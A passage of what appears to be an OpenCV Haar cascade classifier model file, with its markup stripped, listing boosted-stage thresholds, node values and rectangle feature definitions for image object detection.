-2.1481469273567200e-01 4.5404769480228424e-02 + <_> + + 0 1 2307 -2.6157319545745850e-02 -1 2 2308 + -2.5265390053391457e-02 -2 -3 2309 -5.3271669894456863e-03 + + -5.9915411472320557e-01 -3.2973399758338928e-01 + 4.3388798832893372e-01 1.2896250002086163e-02 + <_> + + 0 1 2310 -4.6350698918104172e-02 2 -1 2311 + 8.5780251538380980e-04 -2 -3 2312 8.7990947067737579e-03 + + -4.4396370649337769e-01 -1.0408560186624527e-01 + 2.6796650141477585e-02 3.4592410922050476e-01 + <_> + + 2 1 2313 -8.6540228221565485e-04 0 -1 2314 + 1.4915770152583718e-03 -2 -3 2315 -1.7994260415434837e-02 + + -3.0356478691101074e-01 2.4568190798163414e-02 + -3.6277890205383301e-01 2.3864120244979858e-01 + <_> + + 1 0 2316 3.1142059713602066e-02 -1 2 2317 + -1.3936620205640793e-02 -2 -3 2318 -2.1907410700805485e-04 + + 3.8710731267929077e-01 5.2351367473602295e-01 + -1.7730639874935150e-01 5.4297018796205521e-02 + <_> + + 2 1 2319 -1.5399450203403831e-03 0 -1 2320 + 2.0680578891187906e-03 -2 -3 2321 6.5148430876433849e-03 + + -1.2532320618629456e-01 1.5583939850330353e-01 + 2.7854940295219421e-01 -6.9196671247482300e-01 + <_> + + 1 0 2322 3.9056401699781418e-02 2 -1 2323 + -4.0204878896474838e-03 -2 -3 2324 2.9492459725588560e-03 + + -4.3681609630584717e-01 8.3736188709735870e-02 + -2.3137259483337402e-01 5.8771818876266479e-01 + <_> + + 2 1 2325 4.0582148358225822e-03 0 -1 2326 + 5.4531730711460114e-02 -2 -3 2327 2.4824589490890503e-03 + + 2.7056580781936646e-01 -3.6512500047683716e-01 + -2.2614318877458572e-03 3.5627979040145874e-01 + <_> + + 0 1 2328 -4.5967500656843185e-02 -1 2 2329 + -7.7245971187949181e-03 -2 -3 2330 1.0509139858186245e-02 + + -3.6472341418266296e-01 -3.5956159234046936e-01 + -1.1801080545410514e-03 2.6658898591995239e-01 + <_> + + 2 1 2331 2.7509370818734169e-02 0 -1 2332 + -3.8485318422317505e-02 -2 -3 2333 8.4051601588726044e-03 + + -5.8312857151031494e-01 2.4421650171279907e-01 + -1.2067990005016327e-01 2.0528540015220642e-01 + <_> + + 1 2 2334 -4.0405229665338993e-03 0 -1 2335 + 1.5476900443900377e-04 -2 -3 2336 2.4814540665829554e-05 + + 3.1298181414604187e-01 -2.5597780942916870e-01 + -2.2016249597072601e-01 5.4762478917837143e-02 + <_> + + 1 2 2337 -2.0571500062942505e-03 0 -1 2338 + -2.5400029495358467e-02 -2 -3 2339 -9.7940629348158836e-04 + + 1.5875819325447083e-01 -2.5695261359214783e-01 + -4.8633909225463867e-01 1.3700939714908600e-01 + <_> + + 1 0 2340 2.1806131117045879e-03 2 -1 2341 + -3.5455688834190369e-02 -2 -3 2342 7.0310868322849274e-03 + + -1.5206259489059448e-01 2.2079099714756012e-01 + -1.0352379828691483e-01 7.8391069173812866e-01 + <_> + + 2 1 2343 -1.9015279831364751e-03 0 -1 2344 + -2.7523210272192955e-02 -2 -3 2345 1.1140380054712296e-02 + + 2.2670629620552063e-01 -1.4048579335212708e-01 + 3.8015339523553848e-02 4.5577189326286316e-01 + <_> + + 0 1 2346 -1.4077059924602509e-02 -1 2 2347 + -7.5063481926918030e-03 -2 -3 2348 3.4938179887831211e-03 + + -3.4491220116615295e-01 2.4528980255126953e-01 + -1.3371880352497101e-01 1.5036830306053162e-01 + <_> + + 1 0 2349 5.0538990646600723e-02 -1 2 2350 + 5.9616268845275044e-04 -2 -3 2351 -2.0425749942660332e-02 + + 3.9677879214286804e-01 -1.6664770245552063e-01 + -3.4699028730392456e-01 1.3850739598274231e-01 + <_> + + 0 1 2352 -5.2063791081309319e-03 -1 2 2353 + -7.5247389031574130e-04 -2 -3 2354 -5.4832808673381805e-02 + + -3.6672219634056091e-01 -2.6418569684028625e-01 + 2.7295270562171936e-01 -3.5999810788780451e-03 + <_> + + 1 2 2355 1.7384309321641922e-02 0 -1 2356 + 8.1398971378803253e-03 -2 -3 2357 5.3603048436343670e-03 + + -9.5032609999179840e-02 3.2227438688278198e-01 + -1.8586769700050354e-02 4.8577728867530823e-01 + <_> + + 0 1 2358 -6.7889019846916199e-03 -1 2 2359 + -2.6219699066132307e-04 -2 -3 2360 -6.3086668960750103e-03 + + 4.3564158678054810e-01 -1.8974490463733673e-01 + -3.2145148515701294e-01 9.9988803267478943e-02 + <_> + + 1 0 2361 -7.5333809945732355e-04 -1 2 2362 + -5.1618018187582493e-04 -2 -3 2363 4.9971960484981537e-02 + + -6.4324781298637390e-02 4.0329611301422119e-01 + -1.0619989782571793e-01 7.8842008113861084e-01 + <_> + + 0 1 2364 -1.6776630282402039e-01 2 -1 2365 + 1.5873169759288430e-03 -2 -3 2366 -1.5413289656862617e-03 + + 8.3238917589187622e-01 -1.4161799848079681e-01 + -1.1225470155477524e-01 2.1630200743675232e-01 + <_> + + 1 2 2367 -6.0930051840841770e-03 0 -1 2368 + 1.2093319557607174e-02 -2 -3 2369 -1.0354000143706799e-02 + + 2.8332099318504333e-01 -7.5473171472549438e-01 + 3.1173440814018250e-01 -8.3147212862968445e-02 + <_> + + 1 2 2370 -2.2508190572261810e-01 0 -1 2371 + -3.9419779181480408e-01 -2 -3 2372 -7.0281741209328175e-03 + + 7.2753679752349854e-01 -4.7205528616905212e-01 + 2.6742509007453918e-01 -2.3675439879298210e-02 + <_> + + 0 1 2373 -1.0977389663457870e-01 -1 2 2374 + -1.8981259316205978e-02 -2 -3 2375 -1.5975029673427343e-03 + + 3.2995739579200745e-01 -4.1107800602912903e-01 + 3.9100599288940430e-01 -3.0054800212383270e-02 + <_> + + 2 1 2376 3.3699660561978817e-03 0 -1 2377 + 2.8608400374650955e-02 -2 -3 2378 1.1234980076551437e-02 + + -2.6757821440696716e-01 5.4922807216644287e-01 + 7.9798206686973572e-02 -4.9347519874572754e-01 + <_> + + 2 1 2379 1.0005270130932331e-02 0 -1 2380 + -1.3333059847354889e-01 -2 -3 2381 1.0838189627975225e-03 + + 4.3375509977340698e-01 1.4595700427889824e-02 + 9.0088322758674622e-03 -2.6673930883407593e-01 + <_> + + 1 0 2382 1.8866240279749036e-03 2 -1 2383 + -1.9594319164752960e-02 -2 -3 2384 -4.0433141402900219e-03 + + 1.6358950734138489e-01 2.3428240790963173e-02 + 1.8105390667915344e-01 -3.7628519535064697e-01 + <_> + + 1 2 2385 -1.3283960521221161e-01 0 -1 2386 + 3.8986348954495043e-05 -2 -3 2387 3.0710658757016063e-04 + + -4.7917541116476059e-02 5.7672798633575439e-01 + -1.0200879722833633e-01 1.3613240420818329e-01 + <_> + + 0 1 2388 -4.0010150521993637e-02 -1 2 2389 + -1.1752990540117025e-03 -2 -3 2390 -4.5838830992579460e-03 + + 7.0342528820037842e-01 1.1457219719886780e-01 + 7.0621937513351440e-02 -2.1597090363502502e-01 + <_> + + 1 0 2391 5.3299739956855774e-02 2 -1 2392 + 1.9961010664701462e-02 -2 -3 2393 -1.4994270168244839e-02 + + -1.6445639729499817e-01 4.0419510006904602e-01 + -4.9861040711402893e-01 6.1822768300771713e-02 + <_> + + 1 0 2394 4.2854552157223225e-03 -1 2 2395 + -1.3991270214319229e-02 -2 -3 2396 9.9598374217748642e-03 + + -7.2749477624893188e-01 1.5665039420127869e-01 + -1.2152709811925888e-01 2.4375760555267334e-01 + <_> + + 0 1 2397 -6.1463691294193268e-02 2 -1 2398 + 8.1084080738946795e-04 -2 -3 2399 1.4836339978501201e-03 + + -4.9159640073776245e-01 4.0312820672988892e-01 + 5.2907239645719528e-02 -2.0971420407295227e-01 + <_> + + 0 1 2400 2.8651900356635451e-04 2 -1 2401 + -4.9405667232349515e-04 -2 -3 2402 -1.3786340132355690e-03 + + -5.8905839920043945e-02 3.8144549727439880e-01 + -4.4638028740882874e-01 4.1437059640884399e-01 + <_> + + 1 0 2403 9.0396329760551453e-03 2 -1 2404 + 1.5593219723086804e-04 -2 -3 2405 -1.1492449790239334e-02 + + -5.8979207277297974e-01 1.4469850063323975e-01 + -6.2305951118469238e-01 -2.8079420328140259e-02 + <_> + + 0 1 2406 -1.0058670304715633e-02 -1 2 2407 + 2.8506040107458830e-03 -2 -3 2408 -1.0550140403211117e-02 + + 1.3063749670982361e-01 -1.5896910429000854e-01 + -5.8578401803970337e-01 4.1516658663749695e-01 + <_> + + 0 1 2409 -2.6834249496459961e-02 -1 2 2410 + -6.7446259781718254e-03 -2 -3 2411 -1.9539019558578730e-03 + + -2.3982690274715424e-01 -3.0731248855590820e-01 + 2.6545688509941101e-01 -2.7655568555928767e-04 + <_> + + 1 2 2412 -1.5296439826488495e-01 0 -1 2413 + 1.3547400012612343e-02 -2 -3 2414 4.4966558925807476e-03 + + 5.4796701669692993e-01 7.3741371743381023e-03 + -3.9956450928002596e-04 -3.4183570742607117e-01 + <_> + + 0 1 2415 -9.6259176731109619e-02 2 -1 2416 + 6.0006431303918362e-03 -2 -3 2417 4.8557221889495850e-03 + + -3.4981849789619446e-01 4.8977410793304443e-01 + 9.2725560069084167e-02 -1.3060179352760315e-01 + <_> + + 1 2 2418 -1.2333790073171258e-03 0 -1 2419 + -4.2365258559584618e-04 -2 -3 2420 8.3003565669059753e-03 + + 2.4704679846763611e-01 -3.9149808883666992e-01 + 9.2340186238288879e-03 4.0348419547080994e-01 + <_> + 44 + -1.1084890365600586e+00 + + <_> + + 2 1 2421 2.8592639137059450e-03 0 -1 2422 + -1.5535679645836353e-02 -2 -3 2423 -2.3885839618742466e-03 + + 8.2635468244552612e-01 2.2793740034103394e-02 + 6.7295722663402557e-02 -3.1476849317550659e-01 + <_> + + 0 1 2424 1.4029210433363914e-03 -1 2 2425 + -4.5515298843383789e-03 -2 -3 2426 9.4592738896608353e-03 + + -1.0290689766407013e-01 -3.2368329167366028e-01 + 5.4250991344451904e-01 -3.0348530411720276e-01 + <_> + + 1 0 2427 5.4062008857727051e-03 -1 2 2428 + -2.6852379087358713e-03 -2 -3 2429 -6.2019047618377954e-05 + + -2.8486549854278564e-01 2.6024919748306274e-01 + 1.6827000677585602e-01 -2.3859730362892151e-01 + <_> + + 1 0 2430 2.4147080257534981e-02 -1 2 2431 + 1.3977369526401162e-03 -2 -3 2432 2.0164279267191887e-02 + + 4.8240968585014343e-01 -3.6230188608169556e-01 + -3.6146581172943115e-02 5.0473397970199585e-01 + <_> + + 0 1 2433 -6.1244291067123413e-01 2 -1 2434 + 9.0631619095802307e-03 -2 -3 2435 1.7811909317970276e-01 + + -4.8220318555831909e-01 -5.7859402894973755e-01 + 8.5012361407279968e-02 -6.3362121582031250e-01 + <_> + + 1 0 2436 2.6881069061346352e-04 -1 2 2437 + -1.2180560268461704e-02 -2 -3 2438 4.0606390684843063e-03 + + -1.6075380146503448e-01 -6.5734118223190308e-01 + 5.4012559354305267e-02 4.9817681312561035e-01 + <_> + + 0 1 2439 -3.6952861119061708e-03 -1 2 2440 + -6.8888221867382526e-03 -2 -3 2441 2.7258940972387791e-03 + + -2.9826200008392334e-01 6.1437392234802246e-01 + -8.3065047860145569e-02 1.8066459894180298e-01 + <_> + + 2 1 2442 9.8391417413949966e-03 0 -1 2443 + 1.4573390362784266e-03 -2 -3 2444 -2.3016060004010797e-04 + + -4.8802070319652557e-02 2.9650750756263733e-01 + 8.3583436906337738e-02 -2.4457779526710510e-01 + <_> + + 1 2 2445 -1.3347089989110827e-03 0 -1 2446 + -2.3516249656677246e-01 -2 -3 2447 -3.1839110888540745e-03 + + -3.9780059456825256e-01 2.9200470447540283e-01 + 1.5484599769115448e-01 -1.3911180198192596e-01 + <_> + + 0 1 2448 -5.9498839080333710e-02 2 -1 2449 + 2.9865070246160030e-04 -2 -3 2450 -2.1592311095446348e-03 + + -8.0241578817367554e-01 -1.7932119965553284e-01 + -1.9703079760074615e-01 1.5901389718055725e-01 + <_> + + 0 1 2451 -8.7727643549442291e-02 -1 2 2452 + 1.8073969986289740e-03 -2 -3 2453 -3.0411710031330585e-04 + + 2.3391810059547424e-01 -1.9777239859104156e-01 + -2.2787599265575409e-01 2.3480290174484253e-01 + <_> + + 0 1 2454 -3.6778930574655533e-02 -1 2 2455 + -8.4806662052869797e-03 -2 -3 2456 4.4526819139719009e-02 + + 6.3471937179565430e-01 3.4320148825645447e-01 + -3.2206610776484013e-03 -3.3057790994644165e-01 + <_> + + 1 2 2457 -1.1732319835573435e-03 0 -1 2458 + 1.4339870540425181e-03 -2 -3 2459 7.7017117291688919e-04 + + -3.2894629240036011e-01 2.6812461018562317e-01 + 1.5722079575061798e-01 -1.2080919742584229e-01 + <_> + + 1 0 2460 5.0579622620716691e-04 -1 2 2461 + -1.6109919548034668e-01 -2 -3 2462 -9.3872181605547667e-04 + + 1.6917209327220917e-01 5.4838567972183228e-01 + 1.3432510197162628e-01 -1.8490299582481384e-01 + <_> + + 1 0 2463 1.0552279651165009e-02 2 -1 2464 + 4.1157208383083344e-02 -2 -3 2465 -1.3245060108602047e-03 + + -4.0745589137077332e-01 7.5326120853424072e-01 + -1.1372119933366776e-01 1.1744459718465805e-01 + <_> + + 1 0 2466 -7.3126708157360554e-03 -1 2 2467 + -1.5847360715270042e-02 -2 -3 2468 -5.2730008028447628e-03 + + -7.3187656700611115e-02 -4.7248768806457520e-01 + -3.9433181285858154e-01 3.2054188847541809e-01 + <_> + + 0 1 2469 -1.0163930244743824e-02 -1 2 2470 + -1.4269599691033363e-02 -2 -3 2471 -2.8677590307779610e-04 + + -5.2099817991256714e-01 4.4472008943557739e-01 + 1.0787820070981979e-01 -1.3239330053329468e-01 + <_> + + 1 2 2472 -4.4711050577461720e-04 0 -1 2473 + 6.9207558408379555e-03 -2 -3 2474 -4.7490649740211666e-04 + + -2.1184509992599487e-01 7.1038311719894409e-01 + -9.0368412435054779e-02 1.9339320063591003e-01 + <_> + + 0 1 2475 -1.4192230068147182e-02 -1 2 2476 + -5.9010402765125036e-04 -2 -3 2477 2.2904858924448490e-03 + + -3.8774991035461426e-01 4.2241969704627991e-01 + -8.0403536558151245e-02 1.7335900664329529e-01 + <_> + + 0 1 2478 -2.5104399770498276e-02 -1 2 2479 + -9.7052762284874916e-03 -2 -3 2480 2.7441041311249137e-04 + + -6.0312938690185547e-01 -6.5721738338470459e-01 + -5.2042860537767410e-02 1.8078009784221649e-01 + <_> + + 0 1 2481 -2.6883379905484617e-04 -1 2 2482 + 8.5731758736073971e-04 -2 -3 2483 -7.1471570990979671e-03 + + 1.8486160039901733e-01 3.6701809614896774e-02 + 3.8019171357154846e-01 -3.1314790248870850e-01 + <_> + + 0 1 2484 -5.9650279581546783e-03 2 -1 2485 + 6.5897651948034763e-03 -2 -3 2486 5.0898519111797214e-04 + + -3.7518349289894104e-01 2.1948930621147156e-01 + 5.8855868875980377e-02 -2.6831701397895813e-01 + <_> + + 0 1 2487 -1.9406380131840706e-02 2 -1 2488 + 1.0682499967515469e-02 -2 -3 2489 5.9157088398933411e-03 + + -4.0213540196418762e-01 6.6164708137512207e-01 + 3.6718819290399551e-02 -4.7886928915977478e-01 + <_> + + 0 1 2490 -4.9229031428694725e-03 -1 2 2491 + -1.2417170219123363e-02 -2 -3 2492 5.5979369208216667e-03 + + 2.2026430070400238e-01 -4.9814000725746155e-01 + -4.0141601115465164e-02 7.9332500696182251e-01 + <_> + + 0 1 2493 -1.8435899913311005e-01 2 -1 2494 + 6.4280577003955841e-02 -2 -3 2495 -1.6670690383762121e-03 + + 8.2392162084579468e-01 -5.1533687114715576e-01 + -5.7897537946701050e-01 3.1020650640130043e-02 + <_> + + 1 0 2496 4.7475788742303848e-02 2 -1 2497 + 2.5915699079632759e-03 -2 -3 2498 -6.8349228240549564e-04 + + 1.5852110087871552e-01 -2.8132149577140808e-01 + -8.4496207535266876e-02 3.4085351228713989e-01 + <_> + + 0 1 2499 -8.0965347588062286e-03 2 -1 2500 + 2.0750269293785095e-02 -2 -3 2501 2.0832920563407242e-04 + + 6.4384061098098755e-01 4.5479089021682739e-01 + -1.0736659914255142e-01 1.3257840275764465e-01 + <_> + + 0 1 2502 -3.6361071397550404e-04 -1 2 2503 + -6.1230720020830631e-03 -2 -3 2504 -4.2420169338583946e-03 + + 1.8995989859104156e-01 -5.5252599716186523e-01 + 2.9558050632476807e-01 -7.1881696581840515e-02 + <_> + + 0 1 2505 -3.2453850144520402e-04 2 -1 2506 + 1.2140260078012943e-02 -2 -3 2507 -1.8192020070273429e-04 + + -2.1697629988193512e-01 -3.1753998994827271e-01 + -1.1777029931545258e-01 1.7208409309387207e-01 + <_> + + 0 1 2508 -3.0392920598387718e-03 2 -1 2509 + 2.8347579063847661e-04 -2 -3 2510 -2.0839450880885124e-03 + + 1.8131990730762482e-01 1.4752319455146790e-01 + 1.2602719664573669e-01 -2.3448009788990021e-01 + <_> + + 2 1 2511 -1.5735890716314316e-02 0 -1 2512 + -5.9783339500427246e-02 -2 -3 2513 8.1148296594619751e-02 + + -3.7624269723892212e-01 1.0452839732170105e-01 + -4.6331068873405457e-01 1.4930450357496738e-02 + <_> + + 1 0 2514 5.8228247798979282e-03 2 -1 2515 + -5.7364261010661721e-04 -2 -3 2516 -3.6678448668681085e-04 + + -7.1261131763458252e-01 -3.9293140172958374e-02 + -1.0198889672756195e-01 4.7379100322723389e-01 + <_> + + 1 2 2517 -9.1290572891011834e-04 0 -1 2518 + 1.2561770156025887e-02 -2 -3 2519 -7.6223909854888916e-04 + + 3.5364340990781784e-02 4.8163351416587830e-01 + 4.6516609191894531e-01 -1.5139210224151611e-01 + <_> + + 0 1 2520 1.8540889723226428e-03 -1 2 2521 + -1.8188059329986572e-02 -2 -3 2522 2.5648679584264755e-02 + + 1.1853530257940292e-01 5.0805187225341797e-01 + -2.3640629649162292e-01 2.6991719007492065e-01 + <_> + + 0 1 2523 -2.5939470157027245e-02 2 -1 2524 + 9.7436201758682728e-04 -2 -3 2525 -1.2310179881751537e-03 + + -6.1304092407226562e-01 -1.6751369833946228e-01 + -2.6179370284080505e-01 1.2718600034713745e-01 + <_> + + 0 1 2526 -7.0769861340522766e-02 2 -1 2527 + 6.8592047318816185e-04 -2 -3 2528 7.2288517840206623e-03 + + 3.6499670147895813e-01 3.1916418671607971e-01 + -1.1326509714126587e-01 2.3138450086116791e-01 + <_> + + 0 1 2529 -4.7549661248922348e-03 -1 2 2530 + 3.8560681045055389e-02 -2 -3 2531 3.3737360499799252e-03 + + 1.2249550223350525e-01 -2.2969830036163330e-01 + -2.9323069378733635e-02 7.3215091228485107e-01 + <_> + + 0 1 2532 -1.4671970158815384e-02 -1 2 2533 + 3.5087150172330439e-04 -2 -3 2534 -2.0783280488103628e-03 + + -5.2395147085189819e-01 9.8115980625152588e-02 + 4.0350338816642761e-01 -2.2959670424461365e-01 + <_> + + 1 0 2535 -3.7065339274704456e-03 2 -1 2536 + 4.0150329470634460e-02 -2 -3 2537 -6.1276711523532867e-02 + + -9.2062972486019135e-02 -7.1320801973342896e-01 + 4.4615340232849121e-01 5.8714438229799271e-02 + <_> + + 1 2 2538 -9.9730096757411957e-02 0 -1 2539 + -7.7125482494011521e-04 -2 -3 2540 1.3902420178055763e-03 + + -1.4246919751167297e-01 5.1187419891357422e-01 + 1.8041240051388741e-02 -2.5729590654373169e-01 + <_> + + 0 1 2541 -2.5304889306426048e-02 -1 2 2542 + 2.5176260620355606e-02 -2 -3 2543 -2.7789679169654846e-01 + + -3.9365610480308533e-01 -1.7298270016908646e-02 + -5.1464182138442993e-01 4.1422238945960999e-01 + <_> + + 1 0 2544 4.6188719570636749e-02 -1 2 2545 + -1.7873500473797321e-03 -2 -3 2546 -1.2076550163328648e-02 + + -4.1546550393104553e-01 2.9358920454978943e-01 + 3.0501538515090942e-01 -8.3189137279987335e-02 + <_> + + 0 1 2547 -5.4004848934710026e-03 -1 2 2548 + -9.4532333314418793e-03 -2 -3 2549 -1.6526769613847136e-03 + + -4.8242959380149841e-01 -4.1864201426506042e-01 + -4.7690790891647339e-01 6.9955162703990936e-02 + <_> + + 0 1 2550 -3.1153310090303421e-02 2 -1 2551 + 5.1554460078477859e-03 -2 -3 2552 -2.7182319900020957e-04 + + 6.2633192539215088e-01 -2.2152930498123169e-01 + -2.8926940634846687e-02 3.6499640345573425e-01 + + <_> + + <_> + 8 7 12 1 -1. + <_> + 8 7 6 1 2. + 1 + <_> + + <_> + 4 7 8 6 -1. + <_> + 6 7 4 6 2. + <_> + + <_> + 5 3 12 12 -1. + <_> + 9 7 4 4 9. + <_> + + <_> + 1 8 12 12 -1. + <_> + 1 14 12 6 2. + <_> + + <_> + 5 9 9 5 -1. + <_> + 8 9 3 5 3. + <_> + + <_> + 5 7 9 6 -1. + <_> + 8 7 3 6 3. + <_> + + <_> + 2 0 18 15 -1. + <_> + 2 5 18 5 3. + <_> + + <_> + 7 1 9 9 -1. + <_> + 7 4 9 3 3. + <_> + + <_> + 8 19 3 1 -1. + <_> + 9 19 1 1 3. + <_> + + <_> + 5 17 2 2 -1. + <_> + 5 17 1 1 2. + <_> + 6 18 1 1 2. + <_> + + <_> + 5 17 2 2 -1. + <_> + 5 17 1 1 2. + <_> + 6 18 1 1 2. + <_> + + <_> + 10 18 3 1 -1. + <_> + 11 18 1 1 3. + <_> + + <_> + 7 7 9 7 -1. + <_> + 10 7 3 7 3. + <_> + + <_> + 6 8 12 5 -1. + <_> + 9 8 6 5 2. + <_> + + <_> + 13 1 6 7 -1. + <_> + 13 1 3 7 2. + 1 + <_> + + <_> + 5 2 12 15 -1. + <_> + 9 7 4 5 9. + <_> + + <_> + 6 5 14 1 -1. + <_> + 6 5 7 1 2. + 1 + <_> + + <_> + 9 9 10 1 -1. + <_> + 9 9 5 1 2. + 1 + <_> + + <_> + 2 9 9 3 -1. + <_> + 5 9 3 3 3. + <_> + + <_> + 0 8 20 12 -1. + <_> + 0 14 20 6 2. + <_> + + <_> + 0 5 4 13 -1. + <_> + 2 5 2 13 2. + <_> + + <_> + 11 18 3 2 -1. + <_> + 12 18 1 2 3. + <_> + + <_> + 11 18 3 1 -1. + <_> + 12 18 1 1 3. + <_> + + <_> + 11 19 3 1 -1. + <_> + 12 19 1 1 3. + <_> + + <_> + 10 9 9 3 -1. + <_> + 13 9 3 3 3. + <_> + + <_> + 5 8 8 7 -1. + <_> + 7 8 4 7 2. + <_> + + <_> + 8 6 9 8 -1. + <_> + 11 6 3 8 3. + <_> + + <_> + 4 18 2 2 -1. + <_> + 4 18 1 1 2. + <_> + 5 19 1 1 2. + <_> + + <_> + 4 18 2 2 -1. + <_> + 4 18 1 1 2. + <_> + 5 19 1 1 2. + <_> + + <_> + 7 6 8 14 -1. + <_> + 9 6 4 14 2. + <_> + + <_> + 16 13 4 3 -1. + <_> + 15 14 4 1 3. + 1 + <_> + + <_> + 16 13 4 2 -1. + <_> + 16 13 2 2 2. + 1 + <_> + + <_> + 5 6 6 14 -1. + <_> + 7 6 2 14 3. + <_> + + <_> + 0 7 8 11 -1. + <_> + 2 7 4 11 2. + <_> + + <_> + 0 7 8 7 -1. + <_> + 2 7 4 7 2. + <_> + + <_> + 2 16 3 1 -1. + <_> + 3 17 1 1 3. + 1 + <_> + + <_> + 3 0 15 18 -1. + <_> + 8 6 5 6 9. + <_> + + <_> + 0 6 20 14 -1. + <_> + 0 13 20 7 2. + <_> + + <_> + 6 7 9 7 -1. + <_> + 9 7 3 7 3. + <_> + + <_> + 3 9 6 2 -1. + <_> + 5 9 2 2 3. + <_> + + <_> + 17 16 2 2 -1. + <_> + 17 16 1 1 2. + <_> + 18 17 1 1 2. + <_> + + <_> + 17 16 2 2 -1. + <_> + 17 16 1 1 2. + <_> + 18 17 1 1 2. + <_> + + <_> + 14 8 6 5 -1. + <_> + 16 8 2 5 3. + <_> + + <_> + 16 18 4 2 -1. + <_> + 16 19 4 1 2. + <_> + + <_> + 8 8 9 12 -1. + <_> + 11 8 3 12 3. + <_> + + <_> + 8 18 3 1 -1. + <_> + 9 18 1 1 3. + <_> + + <_> + 8 18 3 2 -1. + <_> + 9 18 1 2 3. + <_> + + <_> + 0 8 4 11 -1. + <_> + 2 8 2 11 2. + <_> + + <_> + 10 0 10 1 -1. + <_> + 15 0 5 1 2. + <_> + + <_> + 13 1 3 3 -1. + <_> + 14 1 1 3 3. + <_> + + <_> + 2 8 12 12 -1. + <_> + 6 8 4 12 3. + <_> + + <_> + 18 17 1 3 -1. + <_> + 18 18 1 1 3. + <_> + + <_> + 18 18 1 2 -1. + <_> + 18 19 1 1 2. + <_> + + <_> + 8 10 6 5 -1. + <_> + 10 10 2 5 3. + <_> + + <_> + 13 17 3 2 -1. + <_> + 14 17 1 2 3. + <_> + + <_> + 0 4 6 12 -1. + <_> + 0 8 6 4 3. + <_> + + <_> + 0 8 5 4 -1. + <_> + 0 9 5 2 2. + <_> + + <_> + 13 6 4 6 -1. + <_> + 14 7 2 6 2. + 1 + <_> + + <_> + 4 2 3 2 -1. + <_> + 5 2 1 2 3. + <_> + + <_> + 11 2 8 17 -1. + <_> + 13 2 4 17 2. + <_> + + <_> + 15 0 3 3 -1. + <_> + 16 0 1 3 3. + <_> + + <_> + 10 5 9 13 -1. + <_> + 13 5 3 13 3. + <_> + + <_> + 5 8 8 6 -1. + <_> + 7 8 4 6 2. + <_> + + <_> + 3 1 15 18 -1. + <_> + 8 7 5 6 9. + <_> + + <_> + 6 7 9 8 -1. + <_> + 9 7 3 8 3. + <_> + + <_> + 0 6 20 14 -1. + <_> + 0 13 20 7 2. + <_> + + <_> + 1 7 6 7 -1. + <_> + 3 7 2 7 3. + <_> + + <_> + 9 19 3 1 -1. + <_> + 10 19 1 1 3. + <_> + + <_> + 4 6 9 7 -1. + <_> + 7 6 3 7 3. + <_> + + <_> + 18 10 1 10 -1. + <_> + 18 15 1 5 2. + <_> + + <_> + 12 16 2 4 -1. + <_> + 12 16 1 2 2. + <_> + 13 18 1 2 2. + <_> + + <_> + 12 19 4 1 -1. + <_> + 13 19 2 1 2. + <_> + + <_> + 9 5 6 15 -1. + <_> + 11 5 2 15 3. + <_> + + <_> + 10 18 4 1 -1. + <_> + 11 18 2 1 2. + <_> + + <_> + 1 0 12 16 -1. + <_> + 5 0 4 16 3. + <_> + + <_> + 0 13 3 3 -1. + <_> + 0 14 3 1 3. + <_> + + <_> + 1 13 1 3 -1. + <_> + 1 14 1 1 3. + <_> + + <_> + 14 0 6 1 -1. + <_> + 17 0 3 1 2. + <_> + + <_> + 12 0 3 3 -1. + <_> + 13 0 1 3 3. + <_> + + <_> + 12 1 3 2 -1. + <_> + 13 1 1 2 3. + <_> + + <_> + 14 2 6 13 -1. + <_> + 16 2 2 13 3. + <_> + + <_> + 12 4 6 1 -1. + <_> + 14 6 2 1 3. + 1 + <_> + + <_> + 15 6 5 2 -1. + <_> + 15 7 5 1 2. + <_> + + <_> + 9 0 5 12 -1. + <_> + 9 4 5 4 3. + <_> + + <_> + 6 1 13 9 -1. + <_> + 6 4 13 3 3. + <_> + + <_> + 16 0 3 2 -1. + <_> + 17 0 1 2 3. + <_> + + <_> + 6 0 4 2 -1. + <_> + 6 0 2 2 2. + 1 + <_> + + <_> + 4 2 3 3 -1. + <_> + 3 3 3 1 3. + 1 + <_> + + <_> + 7 1 13 6 -1. + <_> + 5 3 13 2 3. + 1 + <_> + + <_> + 3 2 2 3 -1. + <_> + 2 3 2 1 3. + 1 + <_> + + <_> + 17 0 3 1 -1. + <_> + 18 0 1 1 3. + <_> + + <_> + 1 12 5 6 -1. + <_> + 1 15 5 3 2. + <_> + + <_> + 5 14 3 1 -1. + <_> + 6 15 1 1 3. + 1 + <_> + + <_> + 0 7 7 3 -1. + <_> + 0 8 7 1 3. + <_> + + <_> + 0 8 2 4 -1. + <_> + 0 9 2 2 2. + <_> + + <_> + 7 2 4 3 -1. + <_> + 6 3 4 1 3. + 1 + <_> + + <_> + 6 7 6 10 -1. + <_> + 8 7 2 10 3. + <_> + + <_> + 2 5 8 12 -1. + <_> + 4 5 4 12 2. + <_> + + <_> + 4 0 12 4 -1. + <_> + 4 2 12 2 2. + <_> + + <_> + 7 8 8 12 -1. + <_> + 9 8 4 12 2. + <_> + + <_> + 8 6 11 14 -1. + <_> + 8 13 11 7 2. + <_> + + <_> + 16 9 4 9 -1. + <_> + 18 9 2 9 2. + <_> + + <_> + 12 9 6 2 -1. + <_> + 14 9 2 2 3. + <_> + + <_> + 6 1 10 6 -1. + <_> + 6 3 10 2 3. + <_> + + <_> + 5 0 4 5 -1. + <_> + 5 0 2 5 2. + 1 + <_> + + <_> + 2 17 1 3 -1. + <_> + 2 18 1 1 3. + <_> + + <_> + 2 17 1 3 -1. + <_> + 2 18 1 1 3. + <_> + + <_> + 8 0 12 2 -1. + <_> + 12 0 4 2 3. + <_> + + <_> + 0 8 6 5 -1. + <_> + 2 8 2 5 3. + <_> + + <_> + 8 18 4 1 -1. + <_> + 9 18 2 1 2. + <_> + + <_> + 10 18 2 1 -1. + <_> + 11 18 1 1 2. + <_> + + <_> + 7 2 9 3 -1. + <_> + 10 5 3 3 3. + 1 + <_> + + <_> + 8 3 5 6 -1. + <_> + 8 5 5 2 3. + <_> + + <_> + 0 14 1 3 -1. + <_> + 0 15 1 1 3. + <_> + + <_> + 12 17 3 2 -1. + <_> + 13 17 1 2 3. + <_> + + <_> + 12 17 3 3 -1. + <_> + 13 17 1 3 3. + <_> + + <_> + 7 9 1 4 -1. + <_> + 6 10 1 2 2. + 1 + <_> + + <_> + 12 7 8 8 -1. + <_> + 14 7 4 8 2. + <_> + + <_> + 7 10 4 6 -1. + <_> + 5 12 4 2 3. + 1 + <_> + + <_> + 0 6 4 10 -1. + <_> + 2 6 2 10 2. + <_> + + <_> + 19 9 1 3 -1. + <_> + 